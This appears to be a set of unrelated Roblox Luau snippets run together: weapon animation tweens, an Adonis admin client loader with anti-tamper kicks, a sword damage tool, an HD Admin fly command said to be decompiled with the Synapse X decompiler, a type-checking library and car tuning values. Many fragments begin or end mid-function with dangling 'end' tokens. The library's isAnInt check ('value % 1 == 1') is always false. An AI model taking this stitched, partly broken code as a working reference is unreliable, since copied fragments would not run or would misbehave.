CFrame.new(0.387697816, -0.00340933353, -2.07909703, 0.796181142, -0.464059412, 0.388258159, -0.597459137, -0.501594126, 0.625656366, -0.0955937058, -0.730104268, -0.676616311), function(X) return math.sin(math.rad(X)) end, 0.3) wait(0.3) TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; -- Bolt Anim BoltBackAnim = function(char, speed, objs) objs[5]:WaitForChild("BoltBack"):Play() TweenJoint(objs[2], nil , CFrame.new(0.691167593, 0.576529324, -2.08171797, 0.787546694, -0.220071048, 0.575620472, -0.6159904, -0.308486581, 0.724839151, 0.0180550814, -0.925421417, -0.378509283), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.607143688, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[3], nil , CFrame.new(-0.902175903, 0.151443958, -1.32277012, 1, 0, 0, 0, 0, 1, 0, -1, 0), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.3) end; BoltForwardAnim = function(char, speed, objs) objs[5]:WaitForChild("BoltForward"):Play() TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1) TweenJoint(objs[2], nil , CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787546694, -0.220071048, 0.575620472, -0.6159904, -0.308486581, 0.724839151, 0.0180550814, -0.925421417, -0.378509283), function(X) return math.sin(math.rad(X)) end, 0.1) TweenJoint(objs[3], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, -0, 0, 0, 1, 0, -1, 0), function(X) return math.sin(math.rad(X)) end, 0.2) wait(0.2) end; -- Bolting Back BoltingBackAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.673770154, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.001) end; BoltingForwardAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.001) end; InspectAnim = function(char, speed, objs) ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play() ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play() wait(1) ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play() wait(1) ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play() wait(1) local MagC = Tool:WaitForChild("Mag"):clone() MagC:FindFirstChild("Mag"):Destroy() MagC.Parent = Tool MagC.Name = "MagC" local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame) Tool.Mag.Transparency = 1 Tool:WaitForChild('Grip'):WaitForChild("MagOut"):Play() ts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play() wait(0.13) ts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play() wait(0.20) ts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play() wait(0.8) ts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play() wait(0.5) Tool:WaitForChild('Grip'):WaitForChild("MagIn"):Play() ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play() wait(0.3) MagC:Destroy() Tool.Mag.Transparency = 0 wait(0.1) end; nadeReload = function(char, speed, objs) ts:Create(objs[1], TweenInfo.new(0.6), {C1 = CFrame.new(-0.902175903, -1.15645337, -1.32277012, 0.984807789, -0.163175702, -0.0593911409, 0, -0.342020363, 0.939692557, -0.17364797, -0.925416529, -0.336824328)}):Play() ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.787567914, -0.220087856, 0.575584888, -0.323594928, 0.647189975, 0.690240026, -0.524426222, -0.72986728, 0.438486755)}):Play() wait(0.6) ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.559619546, -1.73060048, 0.802135408, -0.348581612, 0.484839559, -0.597102284, -0.477574915, 0.644508123, 0.00688350201, -0.806481719, -0.59121877)}):Play() wait(0.6) end; AttachAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; -- Patrol Anim PatrolAnim = function(char, speed, objs) TweenJoint(objs[1], nil , sConfig.PatrolPosR, function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[2], nil , sConfig.PatrolPosL, function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; } return Settings
--[[ Represents the state relevant while executing a test plan. Used by TestRunner to produce a TestResults object. Uses the same tree building structure as TestPlanBuilder; TestSession keeps track of a stack of nodes that represent the current path through the tree. ]]
local TestEnum = require(script.Parent.TestEnum) local TestResults = require(script.Parent.TestResults) local Context = require(script.Parent.Context) local ExpectationContext = require(script.Parent.ExpectationContext) local TestSession = {} TestSession.__index = TestSession
-- Module Scripts
local ModuleScripts = ServerScriptService:FindFirstChild("ModuleScripts") local ReplicatedModuleScripts = ReplicatedStorage:FindFirstChild("ModuleScripts") local PlayerManager = require(RaceModules:FindFirstChild("PlayerManager")) local GameSettings = require(RaceModules:FindFirstChild("GameSettings")) local DisplayManager = require(RaceModules:FindFirstChild("DisplayManager")) local LeaderboardManager = require(RaceModules:FindFirstChild("LeaderboardManager")) local Timer = require(RaceModules:FindFirstChild("Timer")) local RaceManager = require(ReplicatedModuleScripts:FindFirstChild("RaceManager"))
--local message = function(...) local Str = "" game:GetService("TestService"):Message(Str) end
local print = function(...) print(":: Adonis ::", ...) end local warn = function(...) warn(":: Adonis ::", ...) end
--// Load client
if _G.__CLIENTLOADER then warn("ClientLoader already running;"); else _G.__CLIENTLOADER = true; print("Debug: ACLI Loading?") setfenv(1, {}) script.Name = "\0" script:Destroy() --lockCheck(script) --lockCheck(game) warn("Checking CoreGui") if not Locked(game:GetService("CoreGui")) then warn("CoreGui not locked?") Kill("ACLI: Error") else warn(`CoreGui Locked: {Locked(game:GetService("CoreGui"))}`) end warn("Checking Services") --[[for i,service in next,services do doPcall(lockCheck, game:GetService(service)) end--]] warn("Waiting for PlayerGui..."); local playerGui = player:FindFirstChildOfClass("PlayerGui") or player:WaitForChild("PlayerGui", 600); if not playerGui then warn("PlayerGui not found after 10 minutes"); Kick(player, "ACLI: PlayerGui Never Appeared (Waited 10 Minutes)"); else playerGui.Changed:Connect(function() if playerGui.Name ~= "PlayerGui" then playerGui.Name = "PlayerGui"; end end) end finderEvent = playerGui.ChildAdded:Connect(function(child) warn("Child Added") if not foundClient and child.Name == "Adonis_Container" then local client = child:FindFirstChildOfClass("Folder"); doPcall(checkChild, client); end end) warn("Waiting and scanning (incase event fails)...") repeat scan(playerGui); wait(5); until (time() - start > 600) or foundClient warn(`Elapsed: {time() - start}`); warn(`Timeout: {time() - start > 600}`); warn(`Found Client: {foundClient}`); warn("Disconnecting finder event..."); if finderEvent then finderEvent:Disconnect(); end warn("Checking if client found...") if not foundClient then warn("Loading took too long") Kick(player, "\nACLI: [CLI-1162246] \nLoading Error [Took Too Long (>10 Minutes)]") else print("Debug: Adonis loaded?") warn("Client found") warn("Finished") warn(time()) end end
--Rescripted by Luckymaxer --Made by Stickmasterluke
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Sparkles = Handle:WaitForChild("Sparkles") Players = game:GetService("Players") Debris = game:GetService("Debris") WeaponHud = Tool:WaitForChild("WeaponHud") WeaponNameTag = WeaponHud:WaitForChild("WeaponName") GuiBar = WeaponHud:WaitForChild("Bar") GuiBarFill = GuiBar:WaitForChild("Fill") WeaponNameTag.Text = Tool:WaitForChild("ToolName").Value BasePart = Instance.new("Part") BasePart.Shape = Enum.PartType.Block BasePart.Material = Enum.Material.Plastic BasePart.TopSurface = Enum.SurfaceType.Smooth BasePart.BottomSurface = Enum.SurfaceType.Smooth BasePart.FormFactor = Enum.FormFactor.Custom BasePart.Size = Vector3.new(0.2, 0.2, 0.2) BasePart.CanCollide = true BasePart.Locked = true BasePart.Anchored = false Animations = { Equip = {Animation = Tool:WaitForChild("Equip"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = nil}, Hold = {Animation = Tool:WaitForChild("Hold"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil}, LeftSlash = {Animation = Tool:WaitForChild("LeftSlash"), FadeTime = nil, Weight = nil, Speed = 1.2, Duration = nil}, RightSlash = {Animation = Tool:WaitForChild("RightSlash"), FadeTime = nil, Weight = nil, Speed = 1.2, Duration = nil}, Stab1 = {Animation = Tool:WaitForChild("Stab1"), FadeTime = nil, Weight = nil, Speed = 1.2, Duration = nil}, Stab2 = {Animation = Tool:WaitForChild("Stab2"), FadeTime = nil, Weight = nil, Speed = 1.2, Duration = nil}, } Sounds = { Swoosh1 = Handle:WaitForChild("Swoosh1"), Swoosh2 = Handle:WaitForChild("Swoosh2"), Hit1 = Handle:WaitForChild("Hit1"), Hit2 = Handle:WaitForChild("Hit2"), Hit3 = Handle:WaitForChild("Hit3"), Clash1 = Handle:WaitForChild("Clash1"), Clash2 = Handle:WaitForChild("Clash2"), Clash3 = Handle:WaitForChild("Clash3"), Clash4 = Handle:WaitForChild("Clash4"), Clash5 = Handle:WaitForChild("Clash5"), } Damage = 10 -- +/- 10% DamageWindow = 1 --How long the player has to hit opponent to deal damage after click SwingRate = 0.75 BloodEffects = true Ready = false ToolEquipped = false Rate = (1 / 30) LastSwing = 0 MouseDown = false CurrentAnimation = nil ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction")) ServerControl.Name = "ServerControl" ServerControl.Parent = Tool ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction")) ClientControl.Name = "ClientControl" ClientControl.Parent = Tool Tool.Enabled = true ServerControl.OnServerInvoke = (function(player, Mode, Value) if player == Player then if Mode == "MouseClick" then MouseDown = Value.Down if MouseDown then Activated() end elseif Mode == "KeyPress" then local Key = Value.Key local Down = Value.Down end end end) function InvokeClient(Mode, Value) local ClientReturn = nil pcall(function() ClientReturn = ClientControl:InvokeClient(Player, Mode, Value) end) return ClientReturn end function TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function Billboard(Pos, Text, Time, Color) local Pos = (Pos or Vector3.new(0, 0, 0)) local Text = (Text or "Hello World!") local Time = (Time or 2) local Color = (Color or Color3.new(1, 0, 0)) local Pos = (Pos + Vector3.new(0, 5, 0)) local EffectPart = BasePart:Clone() EffectPart.Name = "Effect" EffectPart.Size = Vector3.new(0, 0, 0) EffectPart.CFrame=CFrame.new(Pos) EffectPart.Anchored = true EffectPart.CanCollide = false EffectPart.Transparency = 1 local BillboardGui = Instance.new("BillboardGui") BillboardGui.Size = UDim2.new(3, 0, 3, 0) BillboardGui.Adornee = EffectPart local TextLabel = Instance.new("TextLabel") TextLabel.BackgroundTransparency = 1 TextLabel.Size = UDim2.new(1, 0, 1, 0) TextLabel.Text = Text TextLabel.TextColor3 = Color TextLabel.TextScaled = true TextLabel.Font = Enum.Font.ArialBold TextLabel.Parent = BillboardGui BillboardGui.Parent = EffectPart Debris:AddItem(EffectPart, (Time + 0.1)) EffectPart.Parent = game:GetService("Workspace") delay(0, function() local Frames = (Time / Rate) for Frame = 1, Frames do wait(Rate) local Percent = (Frame / Frames) EffectPart.CFrame=CFrame.new(Pos) + Vector3.new(0, (5 * Percent), 0) TextLabel.TextTransparency = Percent end if EffectPart and EffectPart.Parent then EffectPart:Destroy() end end) end function MakeBlood(Part) if not Part then return end local Blood = BasePart:Clone() Blood.BrickColor = BrickColor.new("Bright red") Blood.Shape = "Ball" Blood.Transparency = (math.random(0, 1) * 0.5) Blood.CanCollide = ((math.random() < 0.5 and false) or false) Blood.Size = Vector3.new((0.2 * math.random(1, 5)), (0.2 * math.random(1, 5)), (0.2 * math.random(1, 5))) Blood.Velocity= Part.Velocity + (Vector3.new((math.random() - 0.5), (math.random() - 0.5), (math.random() - 0.5)) * 30) Blood.RotVelocity = Part.RotVelocity + (Vector3.new((math.random() - 0.5), (math.random() - 0.5), (math.random() - 0.5)) * 20) Blood.CFrame= Part.CFrame * CFrame.new(((math.random() - 0.5) * 3), ((math.random() - 0.5) * 3), ((math.random() - 0.5) * 3)) * CFrame.Angles((math.pi * 2 * math.random()), (math.pi * 2 * math.random()), (math.pi * 2 * math.random())) Debris:AddItem(Blood, (math.random() * 4)) Blood.Parent = game:GetService("Workspace") end function Blow(Hit) if not Hit or not Hit.Parent or not CheckIfAlive() or not Ready or not ToolEquipped or (tick() - LastSwing) > DamageWindow then return end local character = Hit.Parent if character == Character then return end if Hit:FindFirstChild("CanBlock") and Handle:FindFirstChild("Blockable") then local Ready = false local PossibleSounds = {Sounds.Clash1, Sounds.Clash2, Sounds.Clash3, Sounds.Clash4, Sounds.Clash5} local Sound = PossibleSounds[math.random(1, #PossibleSounds)] Sound:Play() Sparkles.Enabled = true delay(0.2, function() Sparkles.Enabled = false end) Billboard(Handle.Position, "Block", 2, Color3.new(1, 1, 0)) end local humanoid = character:FindFirstChild("Humanoid") local player = Players:GetPlayerFromCharacter(character) local RightArm = Character:FindFirstChild("Right Arm") if humanoid and humanoid.Health > 0 and humanoid ~= Humanoid and RightArm then local RightGrip = RightArm:FindFirstChild("RightGrip") if RightGrip and (RightGrip.Part0 == Handle or RightGrip.Part1 == Handle) then if player and player ~= Player and not Player.Neutral and not player.Neutral and Player.TeamColor == player.TeamColor then return --No team killing end Ready = false UntagHumanoid(humanoid) TagHumanoid(humanoid) local LocalDamage= math.floor(Damage * (0.9 + (math.random() * 0.2)) + 0.5) humanoid:TakeDamage(LocalDamage) Billboard(Hit.Position, ("-" .. tostring(LocalDamage))) local PossibleSounds = {Sounds.Hit1, Sounds.Hit2, Sounds.Hit3} local Sound = PossibleSounds[math.random(1, #PossibleSounds)] Sound:Play() if BloodEffects then local NumBloodEffects = math.ceil(LocalDamage / 10) for i = 1, math.random((NumBloodEffects - 1), (NumBloodEffects + 1)) do MakeBlood(Hit) end end end end end function Activated() if ToolEquipped and (tick() - LastSwing) >= SwingRate then Tool.Enabled = false Ready = true local PossibleSounds = {Sounds.Swoosh1, Sounds.Swoosh2} local Sound = PossibleSounds[math.random(1, #PossibleSounds)] Sound:Play() local AttackAnimations = {Animations.LeftSlash, Animations.RightSlash, Animations.Stab1, Animations.Stab2} local NewAnimation = AttackAnimations[math.random(1, #AttackAnimations)] while NewAnimation == CurrentAnimation do NewAnimation = AttackAnimations[math.random(1, #AttackAnimations)] end CurrentAnimation = NewAnimation InvokeClient("PlayAnimation", CurrentAnimation) LastSwing = tick() wait(SwingRate) if MouseDown then Activated() end Tool.Enabled = true end end function UpdateGui() local SwingPercent = math.min(((tick() - LastSwing) / SwingRate), 1) if SwingPercent < 0.5 then --fade from red to yellow then to green GuiBarFill.BackgroundColor3 = Color3.new(1, (SwingPercent * 2), 0) else GuiBarFill.BackgroundColor3 = Color3.new((1 - ((SwingPercent - 0.5 ) / 0.5)), 1, 0) end GuiBarFill.Size = UDim2.new(SwingPercent, 0, 1, 0) end function CheckIfAlive() return (Player and Player.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) local PlayerGui = Player:FindFirstChild("PlayerGui") Humanoid = Character:FindFirstChild("Humanoid") if not CheckIfAlive() then return end if PlayerGui then WeaponHud.Parent = PlayerGui end InvokeClient("PlayAnimation", Animations.Equip) LastSwing = tick() Ready = false ToolEquipped = true for i, v in pairs(Animations) do if v and v.Animation then InvokeClient("Preload", v.Animation.AnimationId) end end ToolEquipped = true end function Unequipped() for i, v in pairs(Animations) do InvokeClient("StopAnimation", v) end WeaponHud.Parent = Tool ToolEquipped = false Ready = false end Handle.Touched:connect(Blow) Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped) spawn(function() while true do UpdateGui() wait(Rate) end end)
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; local l__HDAdminMain__1 = _G.HDAdminMain; local function u2(p1, p2) for v2, v3 in pairs(p1:GetDescendants()) do if v3:IsA("BasePart") then l__HDAdminMain__1.physicsService:SetPartCollisionGroup(v3, p2); end; end; end; function v1.Fly(p3, p4, p5) local v4 = "PlatformStand"; if p4 == "fly2" then v4 = "Sit"; end; local v5 = l__HDAdminMain__1:GetModule("cf"):GetHRP(); local v6 = l__HDAdminMain__1:GetModule("cf"):GetHumanoid(); if v5 and v6 then local v7 = Instance.new("BodyPosition"); v7.MaxForce = Vector3.new(math.huge, math.huge, math.huge); v7.Position = v5.Position + Vector3.new(0, 4, 0); v7.Name = "HDAdminFlyForce"; v7.Parent = v5; local v8 = Instance.new("BodyGyro"); v8.D = 50; v8.MaxTorque = Vector3.new(math.huge, math.huge, math.huge); if p5 then v8.P = 2000; else v8.P = 200; end; v8.Name = "HDAdminFlyGyro"; v8.CFrame = v5.CFrame; v8.Parent = v5; local v9 = 0; if p5 then u2(workspace, "Group1"); u2(l__HDAdminMain__1.player.Character, "Group2"); end; local v10 = tick(); local v11 = v5.Position; while true do local v12 = l__HDAdminMain__1.commandSpeeds[p4]; local v13, v14 = l__HDAdminMain__1:GetModule("cf"):GetNextMovement(tick() - v10, v12 * 10); local l__Position__15 = v5.Position; local v16 = CFrame.new(l__Position__15, l__Position__15 + (l__HDAdminMain__1.camera.Focus.p - l__HDAdminMain__1.camera.CFrame.p).unit) * v13; local v17 = 750 + v12 * 0.2; if p5 then v17 = v17 / 2; end; if v13.p ~= Vector3.new() then local v18 = 0; v7.D = v17; local v19 = 0 + 1; v7.Position = v16.p; else v18 = v9 + 1; v19 = 1; if (v5.Position - v11).magnitude > 6 and v18 >= 4 then v7.Position = v5.Position; end; end; if math.abs(v19) > 25 then v19 = 25; end; if v7.D == v17 then local v20 = 0 * v14.X * -0.5; if p5 then local v21 = 0; else v21 = 0 * v14.Z; end; v8.CFrame = v16 * CFrame.Angles(math.rad(v21), 0, 0); end; v10 = tick(); v11 = v5.Position; v6[v4] = true; wait(); if not l__HDAdminMain__1.commandsActive[p4] then break; end; if not v6 then break; end; if not v5 then break; end; end; v7:Destroy(); v8:Destroy(); if v6 then v6[v4] = false; end; if p5 then u2(workspace, "Group3"); end; end; l__HDAdminMain__1.commandsActive[p4] = nil; end; return v1;
-- Target finding state
local target = nil local newTarget = nil local newTargetDistance = nil local searchIndex = 0 local timeSearchEnded = 0 local searchRegion = nil local searchParts = nil local movingToAttack = false local lastAttackTime = 0
-- As far as is known, the functions in this library are foolproof. -- It cannot be fooled by a fake value that looks like a real one. -- If it says a value is a CFrame, then it _IS_ a CFrame, period.
local lib = {} local function set(object, property, value) -- Sets the 'property' property of 'object' to 'value'. -- This is used with pcall to avoid creating functions needlessly. object[property] = value end function lib.isAnInstance(value) -- Returns whether 'value' is an Instance value. local _, result = pcall(game.IsA, value, 'Instance') return result == true end function lib.isALibrary(value) -- Returns whether 'value' is a RbxLibrary. -- Finds its result by checking whether the value's GetApi function (if it has one) can be dumped (and therefore is a non-Lua function). if pcall(function() assert(type(value.GetApi) == 'function') end) then -- Check if the value has a GetApi function. local success, result = pcall(string.dump, value.GetApi) -- Try to dump the GetApi function. return result == "unable to dump given function" -- Return whether the GetApi function could be dumped. end return false end function lib.isAnEnum(value) -- Returns whether the value is an enum. return pcall(Enum.Material.GetEnumItems, value) == true end function lib.coerceIntoEnum(value, enum) -- Coerces a value into an enum item, if possible, throws an error otherwise. if lib.isAnEnum(enum) then for _, enum_item in next, enum:GetEnumItems() do if value == enum_item or value == enum_item.Name or value == enum_item.Value then return enum_item end end else error("The 'enum' argument must be an enum.", 2) end error("The value cannot be coerced into a enum item of the specified type.", 2) end function lib.isOfEnumType(value, enum) -- Returns whether 'value' is coercible into an enum item of the type 'enum'. if lib.isAnEnum(enum) then return pcall(lib.coerceIntoEnum, value, enum) == true else error("The 'enum' argument must be an enum.", 2) end end local Color3Value = Instance.new('Color3Value') function lib.isAColor3(value) -- Returns whether 'value' is a Color3 value. return pcall(set, Color3Value, 'Value', value) == true end local CFrameValue = Instance.new('CFrameValue') function lib.isACoordinateFrame(value) -- Returns whether 'value' is a CFrame value. return pcall(set, CFrameValue, 'Value', value) == true end local BrickColor3Value = Instance.new('BrickColorValue') function lib.isABrickColor(value) -- Returns whether 'value' is a BrickColor value. return pcall(set, BrickColor3Value, 'Value', value) == true end local RayValue = Instance.new('RayValue') function lib.isARay(value) -- Returns whether 'value' is a Ray value. return pcall(set, RayValue, 'Value', value) == true end local Vector3Value = Instance.new('Vector3Value') function lib.isAVector3(value) -- Returns whether 'value' is a Vector3 value. return pcall(set, Vector3Value, 'Value', value) == true end function lib.isAVector2(value) -- Returns whether 'value' is a Vector2 value. return pcall(function() return Vector2.new() + value end) == true end local FrameValue = Instance.new('Frame') function lib.isAUdim2(value) -- Returns whether 'value' is a UDim2 value. return pcall(set, FrameValue, 'Position', value) == true end function lib.isAUDim(value) -- Returns whether 'value' is a UDim value. return pcall(function() return UDim.new() + value end) == true end local ArcHandleValue = Instance.new('ArcHandles') function lib.isAAxis(value) -- Returns whether 'value' is an Axes value. return pcall(set, ArcHandleValue, 'Axes', value) == true end local FaceValue = Instance.new('Handles') function lib.isAFace(value) -- Returns whether 'value' is a Faces value. return pcall(set, FaceValue, 'Faces', value) == true end function lib.isASignal(value) -- Returns whether 'value' is a RBXScriptSignal. local success, connection = pcall(function() return game.AllowedGearTypeChanged.connect(value) end) if success and connection then connection:disconnect() return true end end function lib.getType(value) -- Returns the most specific obtainable type of a value it can. -- Useful for error messages or anything that is meant to be shown to the user. local valueType = type(value) if valueType == 'userdata' then if lib.isAnInstance(value) then return value.ClassName elseif lib.isAColor3(value) then return 'Color3' elseif lib.isACoordinateFrame(value) then return 'CFrame' elseif lib.isABrickColor(value) then return 'BrickColor' elseif lib.isAUDim2(value) then return 'UDim2' elseif lib.isAUDim(value) then return 'UDim' elseif lib.isAVector3(value) then return 'Vector3' elseif lib.isAVector2(value) then return 'Vector2' elseif lib.isARay(value) then return 'Ray' elseif lib.isAnEnum(value) then return 'Enum' elseif lib.isASignal(value) then return 'RBXScriptSignal' elseif lib.isALibrary(value) then return 'RbxLibrary' elseif lib.isAAxis(value) then return 'Axes' elseif lib.isAFace(value) then return 'Faces' end else return valueType; end end function lib.isAnInt(value) -- Returns whether 'value' is an interger or not return type(value) == "number" and value % 1 == 1; end function lib.isPositiveInt(number) -- Returns whether 'value' is a positive interger or not. -- Useful for money transactions, and is used in the method isAnArray ( ) return type(number) == "number" and number > 0 and math.floor(number) == number end function lib.isAnArray(value) -- Returns if 'value' is an array or not if type(value) == "table" then local maxNumber = 0; local totalCount = 0; for index, _ in next, value do if lib.isPositiveInt(index) then maxNumber = math.max(maxNumber, index) totalCount = totalCount + 1 else return false; end end return maxNumber == totalCount; else return false; end end return lib
--[[ Retrieves the context value corresponding to the given key. Can return nil if a requested context key is not present ]]
function Component:__getContext(key) if config.internalTypeChecks then internalAssert(Type.of(self) == Type.StatefulComponentInstance, "Invalid use of `__getContext`") internalAssert(key ~= nil, "Context key cannot be nil") end local virtualNode = self[InternalData].virtualNode local context = virtualNode.context return context[key] end
--------------------- TEMPLATE WEAPON --------------------------- -- Waits for the child of the specified parent
local function WaitForChild(parent, childName) while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end return parent[childName] end
-- for i,v in pairs(script.Parent.Parent.Body.phone:GetChildren()) do -- v.Transparency = 1 -- end
script.Parent.BodyGyro.maxTorque = Vector3.new(0,0,0) script.Parent.Parent.Wheels.F.Stabilizer.maxTorque = Vector3.new(0,0,0) script.Parent.Parent.Wheels.R.Stabilizer.maxTorque = Vector3.new(0,0,0) end end end end)
--[[Engine]]
-- [TORQUE CURVE VISUAL] -- https://www.desmos.com/calculator/nap6stpjqf -- Use sliders to manipulate values -- Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo. Tune.Horsepower = 805 Tune.IdleRPM = 1250 Tune.PeakRPM = 9500 Tune.Redline = 12000 Tune.EqPoint = 5252 Tune.PeakSharpness = 20 Tune.CurveMult = 0.2 Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Turbo Settings Tune.Aspiration = "Double" --[[ [Aspiration] "Natural" : N/A, Naturally aspirated engine "Single" : Single turbocharger "Double" : Twin turbocharger ]] Tune.Boost = 30 --Max PSI per turbo (If you have two turbos and this is 15, the PSI will be 30) Tune.TurboSize = 55 --Turbo size; the bigger it is, the more lag it has. Tune.CompressRatio = 15 --The compression ratio (look it up) --Misc Tune.RevAccel = 650 -- RPM acceleration when clutch is off Tune.RevDecay = 225 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
--// Animations
-- Idle Anim IdleAnim = function(char, speed, objs) TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25) TweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718464, -1.99667926, 0.787567914, -0.220087856, -0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.18) end; -- FireMode Anim FireModeAnim = function(char, speed, objs) TweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.1) TweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25) wait(0.25) objs[4]:WaitForChild("Click"):Play() end; ReloadAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-1.13045335, -0.385085344, -1.60160995, 0.996194661, -0.0871555507, -3.8096899e-09, -0.0435778052, -0.498097777, 0.866025209, -0.0754788965, -0.862729728, -0.500000358)}):Play() 